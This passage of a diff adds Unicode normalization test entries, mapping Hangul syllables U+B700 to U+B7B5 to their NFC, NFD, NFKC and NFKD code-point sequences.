+{ source: [0xB700], NFC: [0xB700], NFD: [0x1104, 0x1171, 0x11B7], NFKC: [0xB700], NFKD: [0x1104, 0x1171, 0x11B7] },
+{ source: [0xB701], NFC: [0xB701], NFD: [0x1104, 0x1171, 0x11B8], NFKC: [0xB701], NFKD: [0x1104, 0x1171, 0x11B8] },
+{ source: [0xB702], NFC: [0xB702], NFD: [0x1104, 0x1171, 0x11B9], NFKC: [0xB702], NFKD: [0x1104, 0x1171, 0x11B9] },
+{ source: [0xB703], NFC: [0xB703], NFD: [0x1104, 0x1171, 0x11BA], NFKC: [0xB703], NFKD: [0x1104, 0x1171, 0x11BA] },
+{ source: [0xB704], NFC: [0xB704], NFD: [0x1104, 0x1171, 0x11BB], NFKC: [0xB704], NFKD: [0x1104, 0x1171, 0x11BB] },
+{ source: [0xB705], NFC: [0xB705], NFD: [0x1104, 0x1171, 0x11BC], NFKC: [0xB705], NFKD: [0x1104, 0x1171, 0x11BC] },
+{ source: [0xB706], NFC: [0xB706], NFD: [0x1104, 0x1171, 0x11BD], NFKC: [0xB706], NFKD: [0x1104, 0x1171, 0x11BD] },
+{ source: [0xB707], NFC: [0xB707], NFD: [0x1104, 0x1171, 0x11BE], NFKC: [0xB707], NFKD: [0x1104, 0x1171, 0x11BE] },
+{ source: [0xB708], NFC: [0xB708], NFD: [0x1104, 0x1171, 0x11BF], NFKC: [0xB708], NFKD: [0x1104, 0x1171, 0x11BF] },
+{ source: [0xB709], NFC: [0xB709], NFD: [0x1104, 0x1171, 0x11C0], NFKC: [0xB709], NFKD: [0x1104, 0x1171, 0x11C0] },
+{ source: [0xB70A], NFC: [0xB70A], NFD: [0x1104, 0x1171, 0x11C1], NFKC: [0xB70A], NFKD: [0x1104, 0x1171, 0x11C1] },
+{ source: [0xB70B], NFC: [0xB70B], NFD: [0x1104, 0x1171, 0x11C2], NFKC: [0xB70B], NFKD: [0x1104, 0x1171, 0x11C2] },
+{ source: [0xB70C], NFC: [0xB70C], NFD: [0x1104, 0x1172], NFKC: [0xB70C], NFKD: [0x1104, 0x1172] },
+{ source: [0xB70D], NFC: [0xB70D], NFD: [0x1104, 0x1172, 0x11A8], NFKC: [0xB70D], NFKD: [0x1104, 0x1172, 0x11A8] },
+{ source: [0xB70E], NFC: [0xB70E], NFD: [0x1104, 0x1172, 0x11A9], NFKC: [0xB70E], NFKD: [0x1104, 0x1172, 0x11A9] },
+{ source: [0xB70F], NFC: [0xB70F], NFD: [0x1104, 0x1172, 0x11AA], NFKC: [0xB70F], NFKD: [0x1104, 0x1172, 0x11AA] },
+{ source: [0xB710], NFC: [0xB710], NFD: [0x1104, 0x1172, 0x11AB], NFKC: [0xB710], NFKD: [0x1104, 0x1172, 0x11AB] },
+{ source: [0xB711], NFC: [0xB711], NFD: [0x1104, 0x1172, 0x11AC], NFKC: [0xB711], NFKD: [0x1104, 0x1172, 0x11AC] },
+{ source: [0xB712], NFC: [0xB712], NFD: [0x1104, 0x1172, 0x11AD], NFKC: [0xB712], NFKD: [0x1104, 0x1172, 0x11AD] },
+{ source: [0xB713], NFC: [0xB713], NFD: [0x1104, 0x1172, 0x11AE], NFKC: [0xB713], NFKD: [0x1104, 0x1172, 0x11AE] },
+{ source: [0xB714], NFC: [0xB714], NFD: [0x1104, 0x1172, 0x11AF], NFKC: [0xB714], NFKD: [0x1104, 0x1172, 0x11AF] },
+{ source: [0xB715], NFC: [0xB715], NFD: [0x1104, 0x1172, 0x11B0], NFKC: [0xB715], NFKD: [0x1104, 0x1172, 0x11B0] },
+{ source: [0xB716], NFC: [0xB716], NFD: [0x1104, 0x1172, 0x11B1], NFKC: [0xB716], NFKD: [0x1104, 0x1172, 0x11B1] },
+{ source: [0xB717], NFC: [0xB717], NFD: [0x1104, 0x1172, 0x11B2], NFKC: [0xB717], NFKD: [0x1104, 0x1172, 0x11B2] },
+{ source: [0xB718], NFC: [0xB718], NFD: [0x1104, 0x1172, 0x11B3], NFKC: [0xB718], NFKD: [0x1104, 0x1172, 0x11B3] },
+{ source: [0xB719], NFC: [0xB719], NFD: [0x1104, 0x1172, 0x11B4], NFKC: [0xB719], NFKD: [0x1104, 0x1172, 0x11B4] },
+{ source: [0xB71A], NFC: [0xB71A], NFD: [0x1104, 0x1172, 0x11B5], NFKC: [0xB71A], NFKD: [0x1104, 0x1172, 0x11B5] },
+{ source: [0xB71B], NFC: [0xB71B], NFD: [0x1104, 0x1172, 0x11B6], NFKC: [0xB71B], NFKD: [0x1104, 0x1172, 0x11B6] },
+{ source: [0xB71C], NFC: [0xB71C], NFD: [0x1104, 0x1172, 0x11B7], NFKC: [0xB71C], NFKD: [0x1104, 0x1172, 0x11B7] },
+{ source: [0xB71D], NFC: [0xB71D], NFD: [0x1104, 0x1172, 0x11B8], NFKC: [0xB71D], NFKD: [0x1104, 0x1172, 0x11B8] },
+{ source: [0xB71E], NFC: [0xB71E], NFD: [0x1104, 0x1172, 0x11B9], NFKC: [0xB71E], NFKD: [0x1104, 0x1172, 0x11B9] },
+{ source: [0xB71F], NFC: [0xB71F], NFD: [0x1104, 0x1172, 0x11BA], NFKC: [0xB71F], NFKD: [0x1104, 0x1172, 0x11BA] },
+{ source: [0xB720], NFC: [0xB720], NFD: [0x1104, 0x1172, 0x11BB], NFKC: [0xB720], NFKD: [0x1104, 0x1172, 0x11BB] },
+{ source: [0xB721], NFC: [0xB721], NFD: [0x1104, 0x1172, 0x11BC], NFKC: [0xB721], NFKD: [0x1104, 0x1172, 0x11BC] },
+{ source: [0xB722], NFC: [0xB722], NFD: [0x1104, 0x1172, 0x11BD], NFKC: [0xB722], NFKD: [0x1104, 0x1172, 0x11BD] },
+{ source: [0xB723], NFC: [0xB723], NFD: [0x1104, 0x1172, 0x11BE], NFKC: [0xB723], NFKD: [0x1104, 0x1172, 0x11BE] },
+{ source: [0xB724], NFC: [0xB724], NFD: [0x1104, 0x1172, 0x11BF], NFKC: [0xB724], NFKD: [0x1104, 0x1172, 0x11BF] },
+{ source: [0xB725], NFC: [0xB725], NFD: [0x1104, 0x1172, 0x11C0], NFKC: [0xB725], NFKD: [0x1104, 0x1172, 0x11C0] },
+{ source: [0xB726], NFC: [0xB726], NFD: [0x1104, 0x1172, 0x11C1], NFKC: [0xB726], NFKD: [0x1104, 0x1172, 0x11C1] },
+{ source: [0xB727], NFC: [0xB727], NFD: [0x1104, 0x1172, 0x11C2], NFKC: [0xB727], NFKD: [0x1104, 0x1172, 0x11C2] },
+{ source: [0xB728], NFC: [0xB728], NFD: [0x1104, 0x1173], NFKC: [0xB728], NFKD: [0x1104, 0x1173] },
+{ source: [0xB729], NFC: [0xB729], NFD: [0x1104, 0x1173, 0x11A8], NFKC: [0xB729], NFKD: [0x1104, 0x1173, 0x11A8] },
+{ source: [0xB72A], NFC: [0xB72A], NFD: [0x1104, 0x1173, 0x11A9], NFKC: [0xB72A], NFKD: [0x1104, 0x1173, 0x11A9] },
+{ source: [0xB72B], NFC: [0xB72B], NFD: [0x1104, 0x1173, 0x11AA], NFKC: [0xB72B], NFKD: [0x1104, 0x1173, 0x11AA] },
+{ source: [0xB72C], NFC: [0xB72C], NFD: [0x1104, 0x1173, 0x11AB], NFKC: [0xB72C], NFKD: [0x1104, 0x1173, 0x11AB] },
+{ source: [0xB72D], NFC: [0xB72D], NFD: [0x1104, 0x1173, 0x11AC], NFKC: [0xB72D], NFKD: [0x1104, 0x1173, 0x11AC] },
+{ source: [0xB72E], NFC: [0xB72E], NFD: [0x1104, 0x1173, 0x11AD], NFKC: [0xB72E], NFKD: [0x1104, 0x1173, 0x11AD] },
+{ source: [0xB72F], NFC: [0xB72F], NFD: [0x1104, 0x1173, 0x11AE], NFKC: [0xB72F], NFKD: [0x1104, 0x1173, 0x11AE] },
+{ source: [0xB730], NFC: [0xB730], NFD: [0x1104, 0x1173, 0x11AF], NFKC: [0xB730], NFKD: [0x1104, 0x1173, 0x11AF] },
+{ source: [0xB731], NFC: [0xB731], NFD: [0x1104, 0x1173, 0x11B0], NFKC: [0xB731], NFKD: [0x1104, 0x1173, 0x11B0] },
+{ source: [0xB732], NFC: [0xB732], NFD: [0x1104, 0x1173, 0x11B1], NFKC: [0xB732], NFKD: [0x1104, 0x1173, 0x11B1] },
+{ source: [0xB733], NFC: [0xB733], NFD: [0x1104, 0x1173, 0x11B2], NFKC: [0xB733], NFKD: [0x1104, 0x1173, 0x11B2] },
+{ source: [0xB734], NFC: [0xB734], NFD: [0x1104, 0x1173, 0x11B3], NFKC: [0xB734], NFKD: [0x1104, 0x1173, 0x11B3] },
+{ source: [0xB735], NFC: [0xB735], NFD: [0x1104, 0x1173, 0x11B4], NFKC: [0xB735], NFKD: [0x1104, 0x1173, 0x11B4] },
+{ source: [0xB736], NFC: [0xB736], NFD: [0x1104, 0x1173, 0x11B5], NFKC: [0xB736], NFKD: [0x1104, 0x1173, 0x11B5] },
+{ source: [0xB737], NFC: [0xB737], NFD: [0x1104, 0x1173, 0x11B6], NFKC: [0xB737], NFKD: [0x1104, 0x1173, 0x11B6] },
+{ source: [0xB738], NFC: [0xB738], NFD: [0x1104, 0x1173, 0x11B7], NFKC: [0xB738], NFKD: [0x1104, 0x1173, 0x11B7] },
+{ source: [0xB739], NFC: [0xB739], NFD: [0x1104, 0x1173, 0x11B8], NFKC: [0xB739], NFKD: [0x1104, 0x1173, 0x11B8] },
+{ source: [0xB73A], NFC: [0xB73A], NFD: [0x1104, 0x1173, 0x11B9], NFKC: [0xB73A], NFKD: [0x1104, 0x1173, 0x11B9] },
+{ source: [0xB73B], NFC: [0xB73B], NFD: [0x1104, 0x1173, 0x11BA], NFKC: [0xB73B], NFKD: [0x1104, 0x1173, 0x11BA] },
+{ source: [0xB73C], NFC: [0xB73C], NFD: [0x1104, 0x1173, 0x11BB], NFKC: [0xB73C], NFKD: [0x1104, 0x1173, 0x11BB] },
+{ source: [0xB73D], NFC: [0xB73D], NFD: [0x1104, 0x1173, 0x11BC], NFKC: [0xB73D], NFKD: [0x1104, 0x1173, 0x11BC] },
+{ source: [0xB73E], NFC: [0xB73E], NFD: [0x1104, 0x1173, 0x11BD], NFKC: [0xB73E], NFKD: [0x1104, 0x1173, 0x11BD] },
+{ source: [0xB73F], NFC: [0xB73F], NFD: [0x1104, 0x1173, 0x11BE], NFKC: [0xB73F], NFKD: [0x1104, 0x1173, 0x11BE] },
+{ source: [0xB740], NFC: [0xB740], NFD: [0x1104, 0x1173, 0x11BF], NFKC: [0xB740], NFKD: [0x1104, 0x1173, 0x11BF] },
+{ source: [0xB741], NFC: [0xB741], NFD: [0x1104, 0x1173, 0x11C0], NFKC: [0xB741], NFKD: [0x1104, 0x1173, 0x11C0] },
+{ source: [0xB742], NFC: [0xB742], NFD: [0x1104, 0x1173, 0x11C1], NFKC: [0xB742], NFKD: [0x1104, 0x1173, 0x11C1] },
+{ source: [0xB743], NFC: [0xB743], NFD: [0x1104, 0x1173, 0x11C2], NFKC: [0xB743], NFKD: [0x1104, 0x1173, 0x11C2] },
+{ source: [0xB744], NFC: [0xB744], NFD: [0x1104, 0x1174], NFKC: [0xB744], NFKD: [0x1104, 0x1174] },
+{ source: [0xB745], NFC: [0xB745], NFD: [0x1104, 0x1174, 0x11A8], NFKC: [0xB745], NFKD: [0x1104, 0x1174, 0x11A8] },
+{ source: [0xB746], NFC: [0xB746], NFD: [0x1104, 0x1174, 0x11A9], NFKC: [0xB746], NFKD: [0x1104, 0x1174, 0x11A9] },
+{ source: [0xB747], NFC: [0xB747], NFD: [0x1104, 0x1174, 0x11AA], NFKC: [0xB747], NFKD: [0x1104, 0x1174, 0x11AA] },
+{ source: [0xB748], NFC: [0xB748], NFD: [0x1104, 0x1174, 0x11AB], NFKC: [0xB748], NFKD: [0x1104, 0x1174, 0x11AB] },
+{ source: [0xB749], NFC: [0xB749], NFD: [0x1104, 0x1174, 0x11AC], NFKC: [0xB749], NFKD: [0x1104, 0x1174, 0x11AC] },
+{ source: [0xB74A], NFC: [0xB74A], NFD: [0x1104, 0x1174, 0x11AD], NFKC: [0xB74A], NFKD: [0x1104, 0x1174, 0x11AD] },
+{ source: [0xB74B], NFC: [0xB74B], NFD: [0x1104, 0x1174, 0x11AE], NFKC: [0xB74B], NFKD: [0x1104, 0x1174, 0x11AE] },
+{ source: [0xB74C], NFC: [0xB74C], NFD: [0x1104, 0x1174, 0x11AF], NFKC: [0xB74C], NFKD: [0x1104, 0x1174, 0x11AF] },
+{ source: [0xB74D], NFC: [0xB74D], NFD: [0x1104, 0x1174, 0x11B0], NFKC: [0xB74D], NFKD: [0x1104, 0x1174, 0x11B0] },
+{ source: [0xB74E], NFC: [0xB74E], NFD: [0x1104, 0x1174, 0x11B1], NFKC: [0xB74E], NFKD: [0x1104, 0x1174, 0x11B1] },
+{ source: [0xB74F], NFC: [0xB74F], NFD: [0x1104, 0x1174, 0x11B2], NFKC: [0xB74F], NFKD: [0x1104, 0x1174, 0x11B2] },
+{ source: [0xB750], NFC: [0xB750], NFD: [0x1104, 0x1174, 0x11B3], NFKC: [0xB750], NFKD: [0x1104, 0x1174, 0x11B3] },
+{ source: [0xB751], NFC: [0xB751], NFD: [0x1104, 0x1174, 0x11B4], NFKC: [0xB751], NFKD: [0x1104, 0x1174, 0x11B4] },
+{ source: [0xB752], NFC: [0xB752], NFD: [0x1104, 0x1174, 0x11B5], NFKC: [0xB752], NFKD: [0x1104, 0x1174, 0x11B5] },
+{ source: [0xB753], NFC: [0xB753], NFD: [0x1104, 0x1174, 0x11B6], NFKC: [0xB753], NFKD: [0x1104, 0x1174, 0x11B6] },
+{ source: [0xB754], NFC: [0xB754], NFD: [0x1104, 0x1174, 0x11B7], NFKC: [0xB754], NFKD: [0x1104, 0x1174, 0x11B7] },
+{ source: [0xB755], NFC: [0xB755], NFD: [0x1104, 0x1174, 0x11B8], NFKC: [0xB755], NFKD: [0x1104, 0x1174, 0x11B8] },
+{ source: [0xB756], NFC: [0xB756], NFD: [0x1104, 0x1174, 0x11B9], NFKC: [0xB756], NFKD: [0x1104, 0x1174, 0x11B9] },
+{ source: [0xB757], NFC: [0xB757], NFD: [0x1104, 0x1174, 0x11BA], NFKC: [0xB757], NFKD: [0x1104, 0x1174, 0x11BA] },
+{ source: [0xB758], NFC: [0xB758], NFD: [0x1104, 0x1174, 0x11BB], NFKC: [0xB758], NFKD: [0x1104, 0x1174, 0x11BB] },
+{ source: [0xB759], NFC: [0xB759], NFD: [0x1104, 0x1174, 0x11BC], NFKC: [0xB759], NFKD: [0x1104, 0x1174, 0x11BC] },
+{ source: [0xB75A], NFC: [0xB75A], NFD: [0x1104, 0x1174, 0x11BD], NFKC: [0xB75A], NFKD: [0x1104, 0x1174, 0x11BD] },
+{ source: [0xB75B], NFC: [0xB75B], NFD: [0x1104, 0x1174, 0x11BE], NFKC: [0xB75B], NFKD: [0x1104, 0x1174, 0x11BE] },
+{ source: [0xB75C], NFC: [0xB75C], NFD: [0x1104, 0x1174, 0x11BF], NFKC: [0xB75C], NFKD: [0x1104, 0x1174, 0x11BF] },
+{ source: [0xB75D], NFC: [0xB75D], NFD: [0x1104, 0x1174, 0x11C0], NFKC: [0xB75D], NFKD: [0x1104, 0x1174, 0x11C0] },
+{ source: [0xB75E], NFC: [0xB75E], NFD: [0x1104, 0x1174, 0x11C1], NFKC: [0xB75E], NFKD: [0x1104, 0x1174, 0x11C1] },
+{ source: [0xB75F], NFC: [0xB75F], NFD: [0x1104, 0x1174, 0x11C2], NFKC: [0xB75F], NFKD: [0x1104, 0x1174, 0x11C2] },
+{ source: [0xB760], NFC: [0xB760], NFD: [0x1104, 0x1175], NFKC: [0xB760], NFKD: [0x1104, 0x1175] },
+{ source: [0xB761], NFC: [0xB761], NFD: [0x1104, 0x1175, 0x11A8], NFKC: [0xB761], NFKD: [0x1104, 0x1175, 0x11A8] },
+{ source: [0xB762], NFC: [0xB762], NFD: [0x1104, 0x1175, 0x11A9], NFKC: [0xB762], NFKD: [0x1104, 0x1175, 0x11A9] },
+{ source: [0xB763], NFC: [0xB763], NFD: [0x1104, 0x1175, 0x11AA], NFKC: [0xB763], NFKD: [0x1104, 0x1175, 0x11AA] },
+{ source: [0xB764], NFC: [0xB764], NFD: [0x1104, 0x1175, 0x11AB], NFKC: [0xB764], NFKD: [0x1104, 0x1175, 0x11AB] },
+{ source: [0xB765], NFC: [0xB765], NFD: [0x1104, 0x1175, 0x11AC], NFKC: [0xB765], NFKD: [0x1104, 0x1175, 0x11AC] },
+{ source: [0xB766], NFC: [0xB766], NFD: [0x1104, 0x1175, 0x11AD], NFKC: [0xB766], NFKD: [0x1104, 0x1175, 0x11AD] },
+{ source: [0xB767], NFC: [0xB767], NFD: [0x1104, 0x1175, 0x11AE], NFKC: [0xB767], NFKD: [0x1104, 0x1175, 0x11AE] },
+{ source: [0xB768], NFC: [0xB768], NFD: [0x1104, 0x1175, 0x11AF], NFKC: [0xB768], NFKD: [0x1104, 0x1175, 0x11AF] },
+{ source: [0xB769], NFC: [0xB769], NFD: [0x1104, 0x1175, 0x11B0], NFKC: [0xB769], NFKD: [0x1104, 0x1175, 0x11B0] },
+{ source: [0xB76A], NFC: [0xB76A], NFD: [0x1104, 0x1175, 0x11B1], NFKC: [0xB76A], NFKD: [0x1104, 0x1175, 0x11B1] },
+{ source: [0xB76B], NFC: [0xB76B], NFD: [0x1104, 0x1175, 0x11B2], NFKC: [0xB76B], NFKD: [0x1104, 0x1175, 0x11B2] },
+{ source: [0xB76C], NFC: [0xB76C], NFD: [0x1104, 0x1175, 0x11B3], NFKC: [0xB76C], NFKD: [0x1104, 0x1175, 0x11B3] },
+{ source: [0xB76D], NFC: [0xB76D], NFD: [0x1104, 0x1175, 0x11B4], NFKC: [0xB76D], NFKD: [0x1104, 0x1175, 0x11B4] },
+{ source: [0xB76E], NFC: [0xB76E], NFD: [0x1104, 0x1175, 0x11B5], NFKC: [0xB76E], NFKD: [0x1104, 0x1175, 0x11B5] },
+{ source: [0xB76F], NFC: [0xB76F], NFD: [0x1104, 0x1175, 0x11B6], NFKC: [0xB76F], NFKD: [0x1104, 0x1175, 0x11B6] },
+{ source: [0xB770], NFC: [0xB770], NFD: [0x1104, 0x1175, 0x11B7], NFKC: [0xB770], NFKD: [0x1104, 0x1175, 0x11B7] },
+{ source: [0xB771], NFC: [0xB771], NFD: [0x1104, 0x1175, 0x11B8], NFKC: [0xB771], NFKD: [0x1104, 0x1175, 0x11B8] },
+{ source: [0xB772], NFC: [0xB772], NFD: [0x1104, 0x1175, 0x11B9], NFKC: [0xB772], NFKD: [0x1104, 0x1175, 0x11B9] },
+{ source: [0xB773], NFC: [0xB773], NFD: [0x1104, 0x1175, 0x11BA], NFKC: [0xB773], NFKD: [0x1104, 0x1175, 0x11BA] },
+{ source: [0xB774], NFC: [0xB774], NFD: [0x1104, 0x1175, 0x11BB], NFKC: [0xB774], NFKD: [0x1104, 0x1175, 0x11BB] },
+{ source: [0xB775], NFC: [0xB775], NFD: [0x1104, 0x1175, 0x11BC], NFKC: [0xB775], NFKD: [0x1104, 0x1175, 0x11BC] },
+{ source: [0xB776], NFC: [0xB776], NFD: [0x1104, 0x1175, 0x11BD], NFKC: [0xB776], NFKD: [0x1104, 0x1175, 0x11BD] },
+{ source: [0xB777], NFC: [0xB777], NFD: [0x1104, 0x1175, 0x11BE], NFKC: [0xB777], NFKD: [0x1104, 0x1175, 0x11BE] },
+{ source: [0xB778], NFC: [0xB778], NFD: [0x1104, 0x1175, 0x11BF], NFKC: [0xB778], NFKD: [0x1104, 0x1175, 0x11BF] },
+{ source: [0xB779], NFC: [0xB779], NFD: [0x1104, 0x1175, 0x11C0], NFKC: [0xB779], NFKD: [0x1104, 0x1175, 0x11C0] },
+{ source: [0xB77A], NFC: [0xB77A], NFD: [0x1104, 0x1175, 0x11C1], NFKC: [0xB77A], NFKD: [0x1104, 0x1175, 0x11C1] },
+{ source: [0xB77B], NFC: [0xB77B], NFD: [0x1104, 0x1175, 0x11C2], NFKC: [0xB77B], NFKD: [0x1104, 0x1175, 0x11C2] },
+{ source: [0xB77C], NFC: [0xB77C], NFD: [0x1105, 0x1161], NFKC: [0xB77C], NFKD: [0x1105, 0x1161] },
+{ source: [0xB77D], NFC: [0xB77D], NFD: [0x1105, 0x1161, 0x11A8], NFKC: [0xB77D], NFKD: [0x1105, 0x1161, 0x11A8] },
+{ source: [0xB77E], NFC: [0xB77E], NFD: [0x1105, 0x1161, 0x11A9], NFKC: [0xB77E], NFKD: [0x1105, 0x1161, 0x11A9] },
+{ source: [0xB77F], NFC: [0xB77F], NFD: [0x1105, 0x1161, 0x11AA], NFKC: [0xB77F], NFKD: [0x1105, 0x1161, 0x11AA] },
+{ source: [0xB780], NFC: [0xB780], NFD: [0x1105, 0x1161, 0x11AB], NFKC: [0xB780], NFKD: [0x1105, 0x1161, 0x11AB] },
+{ source: [0xB781], NFC: [0xB781], NFD: [0x1105, 0x1161, 0x11AC], NFKC: [0xB781], NFKD: [0x1105, 0x1161, 0x11AC] },
+{ source: [0xB782], NFC: [0xB782], NFD: [0x1105, 0x1161, 0x11AD], NFKC: [0xB782], NFKD: [0x1105, 0x1161, 0x11AD] },
+{ source: [0xB783], NFC: [0xB783], NFD: [0x1105, 0x1161, 0x11AE], NFKC: [0xB783], NFKD: [0x1105, 0x1161, 0x11AE] },
+{ source: [0xB784], NFC: [0xB784], NFD: [0x1105, 0x1161, 0x11AF], NFKC: [0xB784], NFKD: [0x1105, 0x1161, 0x11AF] },
+{ source: [0xB785], NFC: [0xB785], NFD: [0x1105, 0x1161, 0x11B0], NFKC: [0xB785], NFKD: [0x1105, 0x1161, 0x11B0] },
+{ source: [0xB786], NFC: [0xB786], NFD: [0x1105, 0x1161, 0x11B1], NFKC: [0xB786], NFKD: [0x1105, 0x1161, 0x11B1] },
+{ source: [0xB787], NFC: [0xB787], NFD: [0x1105, 0x1161, 0x11B2], NFKC: [0xB787], NFKD: [0x1105, 0x1161, 0x11B2] },
+{ source: [0xB788], NFC: [0xB788], NFD: [0x1105, 0x1161, 0x11B3], NFKC: [0xB788], NFKD: [0x1105, 0x1161, 0x11B3] },
+{ source: [0xB789], NFC: [0xB789], NFD: [0x1105, 0x1161, 0x11B4], NFKC: [0xB789], NFKD: [0x1105, 0x1161, 0x11B4] },
+{ source: [0xB78A], NFC: [0xB78A], NFD: [0x1105, 0x1161, 0x11B5], NFKC: [0xB78A], NFKD: [0x1105, 0x1161, 0x11B5] },
+{ source: [0xB78B], NFC: [0xB78B], NFD: [0x1105, 0x1161, 0x11B6], NFKC: [0xB78B], NFKD: [0x1105, 0x1161, 0x11B6] },
+{ source: [0xB78C], NFC: [0xB78C], NFD: [0x1105, 0x1161, 0x11B7], NFKC: [0xB78C], NFKD: [0x1105, 0x1161, 0x11B7] },
+{ source: [0xB78D], NFC: [0xB78D], NFD: [0x1105, 0x1161, 0x11B8], NFKC: [0xB78D], NFKD: [0x1105, 0x1161, 0x11B8] },
+{ source: [0xB78E], NFC: [0xB78E], NFD: [0x1105, 0x1161, 0x11B9], NFKC: [0xB78E], NFKD: [0x1105, 0x1161, 0x11B9] },
+{ source: [0xB78F], NFC: [0xB78F], NFD: [0x1105, 0x1161, 0x11BA], NFKC: [0xB78F], NFKD: [0x1105, 0x1161, 0x11BA] },
+{ source: [0xB790], NFC: [0xB790], NFD: [0x1105, 0x1161, 0x11BB], NFKC: [0xB790], NFKD: [0x1105, 0x1161, 0x11BB] },
+{ source: [0xB791], NFC: [0xB791], NFD: [0x1105, 0x1161, 0x11BC], NFKC: [0xB791], NFKD: [0x1105, 0x1161, 0x11BC] },
+{ source: [0xB792], NFC: [0xB792], NFD: [0x1105, 0x1161, 0x11BD], NFKC: [0xB792], NFKD: [0x1105, 0x1161, 0x11BD] },
+{ source: [0xB793], NFC: [0xB793], NFD: [0x1105, 0x1161, 0x11BE], NFKC: [0xB793], NFKD: [0x1105, 0x1161, 0x11BE] },
+{ source: [0xB794], NFC: [0xB794], NFD: [0x1105, 0x1161, 0x11BF], NFKC: [0xB794], NFKD: [0x1105, 0x1161, 0x11BF] },
+{ source: [0xB795], NFC: [0xB795], NFD: [0x1105, 0x1161, 0x11C0], NFKC: [0xB795], NFKD: [0x1105, 0x1161, 0x11C0] },
+{ source: [0xB796], NFC: [0xB796], NFD: [0x1105, 0x1161, 0x11C1], NFKC: [0xB796], NFKD: [0x1105, 0x1161, 0x11C1] },
+{ source: [0xB797], NFC: [0xB797], NFD: [0x1105, 0x1161, 0x11C2], NFKC: [0xB797], NFKD: [0x1105, 0x1161, 0x11C2] },
+{ source: [0xB798], NFC: [0xB798], NFD: [0x1105, 0x1162], NFKC: [0xB798], NFKD: [0x1105, 0x1162] },
+{ source: [0xB799], NFC: [0xB799], NFD: [0x1105, 0x1162, 0x11A8], NFKC: [0xB799], NFKD: [0x1105, 0x1162, 0x11A8] },
+{ source: [0xB79A], NFC: [0xB79A], NFD: [0x1105, 0x1162, 0x11A9], NFKC: [0xB79A], NFKD: [0x1105, 0x1162, 0x11A9] },
+{ source: [0xB79B], NFC: [0xB79B], NFD: [0x1105, 0x1162, 0x11AA], NFKC: [0xB79B], NFKD: [0x1105, 0x1162, 0x11AA] },
+{ source: [0xB79C], NFC: [0xB79C], NFD: [0x1105, 0x1162, 0x11AB], NFKC: [0xB79C], NFKD: [0x1105, 0x1162, 0x11AB] },
+{ source: [0xB79D], NFC: [0xB79D], NFD: [0x1105, 0x1162, 0x11AC], NFKC: [0xB79D], NFKD: [0x1105, 0x1162, 0x11AC] },
+{ source: [0xB79E], NFC: [0xB79E], NFD: [0x1105, 0x1162, 0x11AD], NFKC: [0xB79E], NFKD: [0x1105, 0x1162, 0x11AD] },
+{ source: [0xB79F], NFC: [0xB79F], NFD: [0x1105, 0x1162, 0x11AE], NFKC: [0xB79F], NFKD: [0x1105, 0x1162, 0x11AE] },
+{ source: [0xB7A0], NFC: [0xB7A0], NFD: [0x1105, 0x1162, 0x11AF], NFKC: [0xB7A0], NFKD: [0x1105, 0x1162, 0x11AF] },
+{ source: [0xB7A1], NFC: [0xB7A1], NFD: [0x1105, 0x1162, 0x11B0], NFKC: [0xB7A1], NFKD: [0x1105, 0x1162, 0x11B0] },
+{ source: [0xB7A2], NFC: [0xB7A2], NFD: [0x1105, 0x1162, 0x11B1], NFKC: [0xB7A2], NFKD: [0x1105, 0x1162, 0x11B1] },
+{ source: [0xB7A3], NFC: [0xB7A3], NFD: [0x1105, 0x1162, 0x11B2], NFKC: [0xB7A3], NFKD: [0x1105, 0x1162, 0x11B2] },
+{ source: [0xB7A4], NFC: [0xB7A4], NFD: [0x1105, 0x1162, 0x11B3], NFKC: [0xB7A4], NFKD: [0x1105, 0x1162, 0x11B3] },
+{ source: [0xB7A5], NFC: [0xB7A5], NFD: [0x1105, 0x1162, 0x11B4], NFKC: [0xB7A5], NFKD: [0x1105, 0x1162, 0x11B4] },
+{ source: [0xB7A6], NFC: [0xB7A6], NFD: [0x1105, 0x1162, 0x11B5], NFKC: [0xB7A6], NFKD: [0x1105, 0x1162, 0x11B5] },
+{ source: [0xB7A7], NFC: [0xB7A7], NFD: [0x1105, 0x1162, 0x11B6], NFKC: [0xB7A7], NFKD: [0x1105, 0x1162, 0x11B6] },
+{ source: [0xB7A8], NFC: [0xB7A8], NFD: [0x1105, 0x1162, 0x11B7], NFKC: [0xB7A8], NFKD: [0x1105, 0x1162, 0x11B7] },
+{ source: [0xB7A9], NFC: [0xB7A9], NFD: [0x1105, 0x1162, 0x11B8], NFKC: [0xB7A9], NFKD: [0x1105, 0x1162, 0x11B8] },
+{ source: [0xB7AA], NFC: [0xB7AA], NFD: [0x1105, 0x1162, 0x11B9], NFKC: [0xB7AA], NFKD: [0x1105, 0x1162, 0x11B9] },
+{ source: [0xB7AB], NFC: [0xB7AB], NFD: [0x1105, 0x1162, 0x11BA], NFKC: [0xB7AB], NFKD: [0x1105, 0x1162, 0x11BA] },
+{ source: [0xB7AC], NFC: [0xB7AC], NFD: [0x1105, 0x1162, 0x11BB], NFKC: [0xB7AC], NFKD: [0x1105, 0x1162, 0x11BB] },
+{ source: [0xB7AD], NFC: [0xB7AD], NFD: [0x1105, 0x1162, 0x11BC], NFKC: [0xB7AD], NFKD: [0x1105, 0x1162, 0x11BC] },
+{ source: [0xB7AE], NFC: [0xB7AE], NFD: [0x1105, 0x1162, 0x11BD], NFKC: [0xB7AE], NFKD: [0x1105, 0x1162, 0x11BD] },
+{ source: [0xB7AF], NFC: [0xB7AF], NFD: [0x1105, 0x1162, 0x11BE], NFKC: [0xB7AF], NFKD: [0x1105, 0x1162, 0x11BE] },
+{ source: [0xB7B0], NFC: [0xB7B0], NFD: [0x1105, 0x1162, 0x11BF], NFKC: [0xB7B0], NFKD: [0x1105, 0x1162, 0x11BF] },
+{ source: [0xB7B1], NFC: [0xB7B1], NFD: [0x1105, 0x1162, 0x11C0], NFKC: [0xB7B1], NFKD: [0x1105, 0x1162, 0x11C0] },
+{ source: [0xB7B2], NFC: [0xB7B2], NFD: [0x1105, 0x1162, 0x11C1], NFKC: [0xB7B2], NFKD: [0x1105, 0x1162, 0x11C1] },
+{ source: [0xB7B3], NFC: [0xB7B3], NFD: [0x1105, 0x1162, 0x11C2], NFKC: [0xB7B3], NFKD: [0x1105, 0x1162, 0x11C2] },
+{ source: [0xB7B4], NFC: [0xB7B4], NFD: [0x1105, 0x1163], NFKC: [0xB7B4], NFKD: [0x1105, 0x1163] },
+{ source: [0xB7B5], NFC: [0xB7B5], NFD: [0x1105, 0x1163, 0x11A8], NFKC: [0xB7B5], NFKD: [0x1105, 0x1163, 0x11A8] },
